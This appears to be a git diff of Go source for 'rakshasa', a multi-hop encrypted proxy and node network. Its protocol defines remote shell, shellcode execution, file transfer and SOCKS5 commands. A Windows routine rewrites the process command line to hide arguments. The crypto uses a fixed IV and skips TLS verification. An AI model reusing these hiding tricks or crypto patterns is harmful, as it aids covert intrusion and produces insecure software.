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) \ No newline at end of file diff --git a/aes/cfb.go b/aes/cfb.go new file mode 100644 index 0000000..3fee071 --- /dev/null +++ b/aes/cfb.go @@ -0,0 +1,20 @@ +package aes + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" +) + +func AesCfbNewEncrypSteam() cipher.Stream { + block, _ := aes.NewCipher(Key) + iv := bytes.Repeat([]byte("1"), block.BlockSize()) + + return cipher.NewCFBEncrypter(block, iv) +} +func AesCfbNewDecrypSteam() cipher.Stream { + block, _ := aes.NewCipher(Key) + iv := bytes.Repeat([]byte("1"), block.BlockSize()) + + return cipher.NewCFBDecrypter(block, iv) +} diff --git a/aes/ctr.go b/aes/ctr.go new file mode 100644 index 0000000..b9f38e5 --- /dev/null +++ b/aes/ctr.go @@ -0,0 +1,46 @@ +package aes + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/md5" + "unsafe" +) + +var Key []byte + +func AesCtrEncrypt(dst, plainText []byte) []byte { + //1. 创建cipher.Block接口 + block, _ := aes.NewCipher(Key) + + //2. 创建分组模式,在crypto/cipher包中 + iv := bytes.Repeat([]byte("1"), block.BlockSize()) + stream := cipher.NewCTR(block, iv) + //3. 加密 + + stream.XORKeyStream(dst, plainText) + + return dst +} + +func AesCtrDecrypt(encryptData []byte) []byte { + data := make([]byte, len(encryptData)) + return AesCtrEncrypt(data, encryptData) +} + +const hextable = "0123456789abcdef" + +func MD5_B(str string) []byte { + dst := make([]byte, 32) + for k, v := range md5.Sum(Str2bytes(str)) { + dst[k*2] = hextable[v>>4] + dst[k*2+1] = hextable[v&0x0f] + } + return dst +} +func Str2bytes(s string) []byte { + x := (*[2]uintptr)(unsafe.Pointer(&s)) + h := [3]uintptr{x[0], x[1], x[1]} + return *(*[]byte)(unsafe.Pointer(&h)) +} diff --git a/cert/tls.go b/cert/tls.go new file mode 100644 index 0000000..381695a --- /dev/null +++ b/cert/tls.go @@ -0,0 +1,53 @@ +package cert + +import ( + "crypto/tls" + "crypto/x509" + _ "embed" + "log" +) + +//go:embed server.crt +var rsaCert []byte + +//go:embed server.key +var PublicKey []byte + +var Tlsconfig *tls.Config + +func init() { + //内置证书 + + cert, err := tls.X509KeyPair(rsaCert, PublicKey) + if err != nil { + log.Panicln(err) + return + + } + certPool := x509.NewCertPool() + + if ok := certPool.AppendCertsFromPEM(rsaCert); !ok { + log.Panicln("PEM err") + return + } + Tlsconfig = &tls.Config{ + Certificates: []tls.Certificate{cert}, + InsecureSkipVerify: true, + RootCAs: certPool, + ClientAuth: tls.RequireAndVerifyClientCert, + ClientCAs: certPool, + MaxVersion: tls.VersionTLS12, + MinVersion: tls.VersionTLS12, + CipherSuites: []uint16{ + tls.TLS_AES_128_GCM_SHA256, + tls.TLS_CHACHA20_POLY1305_SHA256, + tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, + tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, + tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, + tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, + tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256, + tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, + }, + } + +} diff --git a/common/addr.go b/common/addr.go new file mode 100644 index 0000000..c0abacd --- /dev/null +++ b/common/addr.go @@ -0,0 +1,134 @@ +package common + +import ( + "encoding/base64" + "errors" + "fmt" + "github.com/dlclark/regexp2" + "net" + "strconv" +) + +type Addr struct { + scheam string + user, passwd string + ip string + port int + httpAuthorizationHeader string +} + +func ParseAddr(str string) (cfg *Addr, err error) { + defer func() { + if cfg != nil && cfg.user != "" && cfg.passwd != "" { + cfg.httpAuthorizationHeader = fmt.Sprintf("Proxy-Authorization: Basic %s", base64.URLEncoding.EncodeToString([]byte(cfg.user+":"+cfg.passwd))) + + } + + }() + r, _ := regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`, 0) + m, err := r.FindStringMatch(str) + if err != nil { + return nil, errors.New("配置解析错误," + err.Error()) + } + if m != nil { + var res_v []string + for _, v := range m.Groups() { + res_v = append(res_v, v.String()) + } + addr, err := net.ResolveTCPAddr("tcp", res_v[4]+":"+res_v[5]) + if err != nil { + return nil, errors.New("配置解析错误 " + res_v[4] + ":" + res_v[5] + " 不是有效的 地址:端口") + } + return &Addr{ + scheam: res_v[1], + user: res_v[2], + passwd: res_v[3], + ip: res_v[4], + port: addr.Port, + }, nil + } + r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`, 0) + m, err = r.FindStringMatch(str) + if err != nil { + return nil, errors.New("配置解析错误," + err.Error()) + } + if m != nil { + var res_v []string + for _, v := range m.Groups() { + res_v = append(res_v, v.String()) + } + port, _ := strconv.Atoi(res_v[4]) + + return &Addr{ + scheam: res_v[1], + user: res_v[2], + passwd: res_v[3], + ip: "", + port: port, + }, nil + } + r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)$`, 0) + m, err = r.FindStringMatch(str) + if err != nil { + return nil, errors.New("配置解析错误," + err.Error()) + } + if m != nil { + var res_v []string + for _, v := range m.Groups() { + res_v = append(res_v, v.String()) + } + addr, err := net.ResolveTCPAddr("tcp", res_v[2]+":"+res_v[3]) + if err != nil { + return nil, errors.New("配置解析错误 " + res_v[1] + ":" + res_v[2] + " 不是有效的 地址:端口") + } + + return &Addr{ + scheam: res_v[1], + user: "", + passwd: "", + ip: res_v[2], + port: addr.Port, + }, nil + } + + port, err := strconv.Atoi(str) + if err != nil { + return nil, errors.New("配置解析错误,请按照 用户名:密码@地址:端口 的方式填写,或者 用户名:密码@端口 或者 ip:端口 或者 只有端口") + } + return &Addr{port: port}, nil +} +func (c *Addr) IP() string { + return c.ip +} +func (c *Addr) Addr() string { + return fmt.Sprintf("%s:%d", c.ip, c.port) +} +func (c *Addr) Port() string { + return fmt.Sprintf("%d", c.port) +} +func (c *Addr) String() string { + if c.user == "" && c.passwd == "" { + if c.ip == "" { + return fmt.Sprintf("%d", c.port) + } + + return fmt.Sprintf("%s%s:%d", c.scheam, c.ip, c.port) + } + + return fmt.Sprintf("%s%s:%s@%s:%d", c.scheam, c.user, c.passwd, c.ip, c.port) +} +func (c *Addr) GetHttpAuthorizationHeader() string { + return c.httpAuthorizationHeader +} +func (c *Addr) User() string { + return c.user +} +func (c *Addr) Password() string { + return c.passwd +} +func (c *Addr) Scheam() string { + return c.scheam +} +func (c *Addr) HttpUrl() string { + return "http://" + c.Addr() +} diff --git a/common/arg_linux.go b/common/arg_linux.go new file mode 100644 index 0000000..1aa35a8 --- /dev/null +++ b/common/arg_linux.go @@ -0,0 +1,10 @@ +//go:build linux || darwin +// +build linux darwin + +package common + +func ChangeArg(param string) { + + //linux暂不支持 + +} diff --git a/common/arg_windows.go b/common/arg_windows.go new file mode 100644 index 0000000..116513d --- /dev/null +++ b/common/arg_windows.go @@ -0,0 +1,29 @@ +//go:build windows +// +build windows + +package common + +import ( + "syscall" + "unsafe" +) + +func ChangeArg(param string) { + + if kernel32, err := syscall.LoadDLL("Kernel32.dll"); err == nil { + if GetCommandLineA, err := kernel32.FindProc("GetCommandLineW"); err == nil { + u, _, _ := GetCommandLineA.Call() + + u16, _ := syscall.UTF16FromString(param) + + for k, v := range u16 { + *(*byte)(unsafe.Pointer(u + uintptr(k*2+0))) = byte(v) + *(*byte)(unsafe.Pointer(u + uintptr(k*2+1))) = byte(v >> 8) + } + + *(*uint16)(unsafe.Pointer(u + uintptr(len(u16)*2+1))) = 0 + + } + } + +} diff --git a/common/cmd.go b/common/cmd.go new file mode 100644 index 0000000..5fbf83b --- /dev/null +++ b/common/cmd.go @@ -0,0 +1,321 @@ +package common + +import ( + "bytes" + "errors" + "fmt" + "github.com/google/uuid" + "math/rand" + "net" + "rakshasa/aes" + "strings" + "sync" + "sync/atomic" + "time" +) + +var Debug bool = false +var DebugLock bool = false +var DebugLockMap sync.Map + +const UUID_LEN = 16 + +var BroadcastUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0xff}, UUID_LEN)) +var NoneUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0x00}, UUID_LEN)) +var EnableTermVt bool + +// 数据包结构 包长(2byte)UUID+UUID+MsgId+Ttl+cmd包 +type Msg struct { + From string + To string + MsgId uint32 + Ttl uint8 + + CmdOpteion uint8 + CmdId uint32 + CmdData []byte +} + +const ( + MAX_PLAINTEXT = 16384 - 2 - UUID_LEN*2 - 4 - 1 - 5 //不包含headlen + MAX_PACKAGE = 0xffff - UUID_LEN*2 - 4 - 1 - 5 + INIT_WINDOWS_SIZE = MAX_PLAINTEXT * 20 + WRITE_DEADLINE = time.Second * 5 + CMD_TIMEOUT = time.Second * 10 +) + +// 大数据包格式,(CMD+fd)headlen+内容,不超过MaxPlaintext,使用tls自动分包 +const ( + CMD_NONE = iota + CMD_CONNECT_BYIDADDR //请求id, 格式newWork(1byte)+负载 + CMD_CONNECT_BYIDADDR_RESULT //返回id + CMD_DELETE_CONNID //删除fd资源 + CMD_CONN_MSG //发送消息,格式windows(8byte)+负载 + CMD_CONN_UDP_MSG //udp数据包 + + CMD_NODE_RESTART //删除所有 + CMD_WINDOWS_UPDATE // 增加窗口值 + CMD_PING //请求ping + CMD_PONG //返回pong + CMD_PING_LISTEN //bind和remoteSocke5用,type(1byte)+id(4byte) + CMD_PING_LISTEN_RESULT + CMD_REG //通过本地注册 + CMD_REG_RESULT //节点端注册 + CMD_REMOTE_REG //通过远程服务器注册 + CMD_REMOTE_REG_RESULT + CMD_GET_CURRENT_NODE //特殊指令,节点丢失后,查询节点 + CMD_GET_CURRENT_NODE_RESULT + CMD_GET_NODE //获取节点列表 + CMD_GET_NODE_RESULT + CMD_ADD_NODE //新增节点 + CMD_LISTEN //监听 + CMD_LISTEN_RESULT + CMD_DELETE_LISTEN + CMD_CONNECT_BYID //连接 + CMD_DELETE_LISTENCONN_BYID + CMD_REMOTE_SOCKS5 // + //CMD_REMOTE_SOCKS5_RESULT + CMD_PWD + CMD_PWD_RESULT + CMD_DIR + CMD_DIR_RESULT + CMD_CD + CMD_CD_RESULT + CMD_UPLOAD + CMD_UPLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=进度 + CMD_DOWNLOAD + CMD_DOWNLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=size包,2=数据包 + CMD_SHELL + CMD_SHELL_DATA + CMD_SHELL_RESULT + CMD_RUN_SHELLCODE + CMD_RUN_SHELLCODE_RESULT +) + +var CmdToName = map[uint8]string{ + CMD_NONE: "CMD_NONE", + CMD_CONNECT_BYIDADDR: "CMD_CONNECT_BYIDADDR", + CMD_CONNECT_BYIDADDR_RESULT: "CMD_CONNECT_BYIDADDR_RESULT", + CMD_DELETE_CONNID: "CMD_DELETE_CONNID", + CMD_CONN_MSG: "CMD_CONN_MSG", + CMD_CONN_UDP_MSG: "CMD_CONN_UDP_MSG", + CMD_NODE_RESTART: "CMD_NODE_RESTART", + CMD_WINDOWS_UPDATE: "CMD_WINDOWS_UPDATE", + CMD_PING: "CMD_PING", + CMD_PONG: "CMD_PONG", + CMD_PING_LISTEN: "CMD_PING_LISTEN", + CMD_PING_LISTEN_RESULT: "CMD_PING_LISTEN_RESULT", + CMD_REG: "CMD_REG", + CMD_REG_RESULT: "CMD_REG_RESULT", + CMD_REMOTE_REG: "CMD_REMOTE_REG", + CMD_REMOTE_REG_RESULT: "CMD_REMOTE_REG_RESULT", + CMD_GET_CURRENT_NODE: "CMD_GET_CURRENT_NODE", + CMD_GET_CURRENT_NODE_RESULT: "CMD_GET_CURRENT_NODE_RESULT", + CMD_GET_NODE: "CMD_GET_NODE", + CMD_GET_NODE_RESULT: "CMD_GET_NODE_RESULT", + CMD_ADD_NODE: "CMD_ADD_NODE", + CMD_LISTEN: "CMD_LISTEN", + CMD_LISTEN_RESULT: "CMD_LISTEN_RESULT", + CMD_DELETE_LISTEN: "CMD_DELETE_LISTEN", + CMD_CONNECT_BYID: "CMD_CONNECT_BYID", + CMD_DELETE_LISTENCONN_BYID: "CMD_DELETE_LISTEN_CONN_BYID", + CMD_REMOTE_SOCKS5: "CMD_REMOTE_SOCKS5", + //CMD_REMOTE_SOCKS5_RESULT: "CMD_REMOTE_SOCKS5_RESULT", + CMD_PWD: "CMD_PWD", + CMD_PWD_RESULT: "CMD_PWD_RESULT", + CMD_DIR: "CMD_DIR", + CMD_DIR_RESULT: "CMD_DIR_RESULT", + CMD_CD: "CMD_CD", + CMD_CD_RESULT: "CMD_CD_RESULT", + CMD_UPLOAD: "CMD_UPLOAD", + CMD_UPLOAD_RESULT: "CMD_UPLOAD_RESULT", + CMD_DOWNLOAD: "CMD_DOWNLOAD", + CMD_DOWNLOAD_RESULT: "CMD_DOWNLOAD_RESULT", + CMD_SHELL: "CMD_SHELL", + CMD_SHELL_DATA: "CMD_SHELL_DATA", + CMD_SHELL_RESULT: "CMD_SHELL_RESULT", + CMD_RUN_SHELLCODE: "CMD_RUN_SHELLCODE", + CMD_RUN_SHELLCODE_RESULT: "CMD_RUN_SHELLCODE_RESULT", +} + +type NetWork byte + +const ( + _ NetWork = iota + SOCKS5_CMD_CONNECT + // CmdBind is bind command + SOCKS5_CMD_BIND + // CmdUDP is UDP command + SOCKS5_CMD_UDP + + RAW_TCP + + RAW_TCP_WITH_PROXY +) + +// 符合Server调用的接口 +type Server interface { + ID() uint32 + Write(buf []byte) + DeleteFd(fd [2]byte) + FdLoad(fd [2]byte) bool + FdStore(fd [2]byte, c Conn) + Close(string) + AddrList() string +} + +const ( + CONN_STATUS_OK = iota + CONN_STATUS_CLOSE +) + +// 符合Conn调用的接口 +type Conn interface { + Write([]byte) //会将部分消息原样不动发回去 + Close(string) +} +type Close interface { + Close(string) +} + +var globalID1, globalID2 uint32 +var GetIDLock sync.Mutex + +func GetID() uint32 { + return atomic.AddUint32(&globalID1, 1) +} + +func GetConnID() uint32 { + return atomic.AddUint32(&globalID2, 1) +} +func init() { + rand.Seed(time.Now().Unix()) + +} + +type RegMsg struct { + UUID string //当前机器uuid + Addr string + RegAddr string //远程连接的addr + Hostname string //当前机器名称 + Goos string + ViaUUID string + Err string + MainIp []string + Port int +} + +var msgId uint32 + +func (m *Msg) Marshal() []byte { + l := UUID_LEN*2 + 4 + 1 + 5 + len(m.CmdData) + data := make([]byte, l+2) + data1 := make([]byte, l+2) + data1[0] = byte(l) + data1[1] = byte(l >> 8) + uf, _ := uuid.Parse(m.From) + ut, _ := uuid.Parse(m.To) + bf, _ := uf.MarshalBinary() + bt, _ := ut.MarshalBinary() + copy(data[2:], bf) + copy(data[2+UUID_LEN:], bt) + b := 2 + 2*UUID_LEN + if m.MsgId == 0 { //id不为0 + m.MsgId = atomic.AddUint32(&msgId, 1) + } + data[b] = byte(m.MsgId) + data[b+1] = byte(m.MsgId >> 8) + data[b+2] = byte(m.MsgId >> 16) + data[b+3] = byte(m.MsgId >> 24) + data[b+4] = m.Ttl + data[b+5] = m.CmdOpteion + data[b+6] = byte(m.CmdId) + data[b+7] = byte(m.CmdId >> 8) + data[b+8] = byte(m.CmdId >> 16) + data[b+9] = byte(m.CmdId >> 24) + copy(data[2+2*UUID_LEN+4+1+5:], m.CmdData) + aes.AesCtrEncrypt(data1[2:], data[2:]) + return data1 +} +func UnmarshalMsg(data []byte) (msg *Msg) { + if len(data) < 2*UUID_LEN+4+1+5 { + return + } + msg = &Msg{} + uf, _ := uuid.FromBytes(data[:UUID_LEN]) + ut, _ := uuid.FromBytes(data[UUID_LEN : 2*UUID_LEN]) + msg.From = uf.String() + msg.To = ut.String() + b := 2 * UUID_LEN + + msg.MsgId = uint32(data[b]) | uint32(data[b+1])<<8 | uint32(data[b+2])<<16 | uint32(data[b+3])<<24 + msg.Ttl = data[b+4] + + msg.CmdOpteion = data[b+5] + msg.CmdId = uint32(data[b+6]) | uint32(data[b+7])<<8 | uint32(data[b+8])<<16 | uint32(data[b+9])<<24 + msg.CmdData = data[b+10:] + + return +} +func ExternalIP() (net.IP, error) { + ifaces, err := net.Interfaces() + if err != nil { + return nil, err + } + for _, iface := range ifaces { + if iface.Flags&net.FlagUp == 0 { + continue // interface down + } + if iface.Flags&net.FlagLoopback != 0 { + continue // loopback interface + } + addrs, err := iface.Addrs() + if err != nil { + return nil, err + } + for _, addr := range addrs { + ip := getIpFromAddr(addr) + if ip == nil { + continue + } + return ip, nil + } + } + return nil, errors.New("connected to the network?") +} + +// 获取ip +func getIpFromAddr(addr net.Addr) net.IP { + var ip net.IP + switch v := addr.(type) { + case *net.IPNet: + ip = v.IP + case *net.IPAddr: + ip = v.IP + } + if ip == nil || ip.IsLoopback() { + return nil + } + ip = ip.To4() + if ip == nil { + return nil // not an ipv4 address + } + + return ip +} +func ResolveTCPAddr(str string) ([]string, error) { + dst := strings.Split(str, ",") + for i := len(dst) - 1; i >= 0; i-- { + addr := dst[i] + if addr == "" { + dst = append(dst[:i], dst[i+1:]...) + } else { + if _, err := net.ResolveTCPAddr("tcp", addr); err != nil { + return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err) + } + } + + } + + return dst, nil +} diff --git a/common/config.go b/common/config.go new file mode 100644 index 0000000..0d876ec --- /dev/null +++ b/common/config.go @@ -0,0 +1,11 @@ +package common + +type Config struct { + DstNode []string //-d 上级节点 + Password string //通讯密码,可为空 + Port int //默认8883 + ListenIp []string //指定公网ip,其他节点进行额外节点连接时候,尝试连接的ip + Limit bool //禁止额外连接,只连接-d节点,不会尝试连接其他节点 + FileName string + FileSave bool `yaml:"-"` +} diff --git a/common/trem_linux.go b/common/trem_linux.go new file mode 100644 index 0000000..24859e8 --- /dev/null +++ b/common/trem_linux.go @@ -0,0 +1,15 @@ +//go:build linux || darwin +// +build linux darwin + +package common + +import ( + "github.com/creack/pty" + "os" +) + +func SetConsoleVT() {} +func GetSize() *pty.Winsize { + size, _ := pty.GetsizeFull(os.Stdin) + return size +} diff --git a/common/trem_windows.go b/common/trem_windows.go new file mode 100644 index 0000000..ed5bc3a --- /dev/null +++ b/common/trem_windows.go @@ -0,0 +1,75 @@ +//go:build windows +// +build windows + +package common + +import ( + "github.com/creack/pty" + "syscall" + "unsafe" +) + +func SetConsoleVT() { + if kernel32, err := syscall.LoadDLL("kernel32.dll"); err == nil { + if GetStdHandle, err := kernel32.FindProc("GetStdHandle"); err == nil { + if GetConsoleMode, err := kernel32.FindProc("GetConsoleMode"); err == nil { + if SetConsoleMode, err := kernel32.FindProc("SetConsoleMode"); err == nil { + //仅限win10 + v := int32(-11) + hand, _, _ := GetStdHandle.Call(uintptr(v)) + if hand == ^uintptr(0) { + return + } + + var dwMode int32 + if res, _, _ := GetConsoleMode.Call(hand, uintptr(unsafe.Pointer(&dwMode))); res == 1 { + res, _, _ = SetConsoleMode.Call(hand, uintptr(dwMode|0x0004)) + EnableTermVt = res == 1 + } + } + } + } + } +} + +type COORD struct { + X uint16 + Y uint16 +} +type SMALL_RECT struct { + Left uint16 + Top uint16 + Right uint16 + Bottom uint16 +} +type CONSOLE_SCREEN_BUFFER_INFO struct { + Size COORD + CursorPosition COORD + Attributes uint16 + Window SMALL_RECT + MaximumWindowSize COORD +} + +func GetSize() (size *pty.Winsize) { + var csbi CONSOLE_SCREEN_BUFFER_INFO + + if kernel32, err := syscall.LoadDLL("kernel32.dll"); err == nil { + if GetStdHandle, err := kernel32.FindProc("GetStdHandle"); err == nil { + if GetConsoleScreenBufferInfo, err := kernel32.FindProc("GetConsoleScreenBufferInfo"); err == nil { + + //仅限win10 + v := int32(-11) + hand, _, _ := GetStdHandle.Call(uintptr(v)) + if hand == ^uintptr(0) { + return nil + } + if res, _, _ := GetConsoleScreenBufferInfo.Call(hand, uintptr(unsafe.Pointer(&csbi))); res == 1 { + size = &pty.Winsize{} + size.Cols = csbi.Window.Right - csbi.Window.Left + 1 + size.Rows = csbi.Window.Bottom - csbi.Window.Top + 1 + } + } + } + } + return +} diff --git a/config.yaml b/config.yaml new file mode 100644 index 0000000..bc7b656 --- /dev/null +++ b/config.yaml @@ -0,0 +1,8 @@ +dstnode: + #- 192.168.1.180:8883 +password: "" +port: 8884 +listenip: + - 192.168.1.151 +limit: false +filename: config.yaml diff --git a/gencert/main.go 